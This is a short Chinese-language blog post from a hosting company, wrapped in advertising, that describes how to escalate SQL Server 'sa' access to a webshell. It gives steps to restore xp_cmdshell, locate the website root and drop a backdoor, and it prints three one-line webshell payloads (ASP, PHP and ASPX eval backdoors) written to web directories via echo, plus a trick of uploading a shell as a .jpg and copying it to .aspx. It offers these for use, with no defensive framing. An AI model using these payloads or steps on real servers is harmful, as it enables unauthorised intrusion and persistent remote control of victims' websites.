sa權限獲取webshell思路

創新互聯從2013年創立，是專業互聯網技術服務公司，擁有項目做網站、網站建設網站策劃，項目實施與項目整合能力。我們以讓每一個夢想脫穎而出為使命，1280元環縣做網站,已為上家服務,為環縣各地企業和個人服務,聯系電話:13518219792

  1.通過SQL查詢分析器通過sa權限首先恢復xp_cmdshell存儲過程。

  2.通過SQL Tools2.0連接數據庫，執行命令，查看網站路徑以及磁盤文件，獲取網站的真實路徑。

  3.echo生成一句話后門。

  4.直接獲取webshell權限。

  5.如果echo生成的一句話后門無法執行，可以通過查看對應網站的數據庫，獲取后臺登陸密碼，通過后臺上傳webshell的jpg。然后通過copy命令將jgp文件復制為aspx文件，從而獲取webshell。

技巧：

  1.尋找可寫的文件夾，例如c:/windows/temp，以及網站的真實路勁。

  2.通過echo命令生成一句話后門

  echo ^<%eval request(cmd)% ^>^>d:\wwwroot\ok.asp

  echo ^<?php @eval($_POST[cmd]);?^>^>cmd.php

  echo ^<%@ PageLanguage="Jscript%"^>^<^%eval(Request.Item["pass"],"unsafe");%^>^>c:\inetpub\wwwroot\cmd.aspx

另外有需要云服務器可以了解下創新互聯scvps.cn，海內外云服務器15元起步，三天無理由+7*72小時售后在線，公司持有idc許可證，提供“云服務器、裸金屬服務器、高防服務器、香港服務器、美國服務器、虛擬主機、免備案服務器”等云主機租用服務以及企業上云的綜合解決方案，具有“安全穩定、簡單易用、服務可用性高、性價比高”等特點與優勢，專為企業上云打造定制，能夠滿足用戶豐富、多元化的應用場景需求。

網頁名稱：sa權限獲取webshell思路-創新互聯
文章地址：http://vcdvsql.cn/article28/hdhjp.html

成都網站建設公司_創新互聯，為您提供虛擬主機、網站維護、網站收錄、標簽優化、自適應網站、網站策劃

廣告

聲明：本網站發布的內容（圖片、視頻和文字）以用戶投稿、用戶轉載內容為主，如果涉及侵權請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網站立場，如需處理請聯系客服。電話：028-86922220；郵箱：631063699@qq.com。內容未經允許不得轉載，或轉載時需注明來源： 創新互聯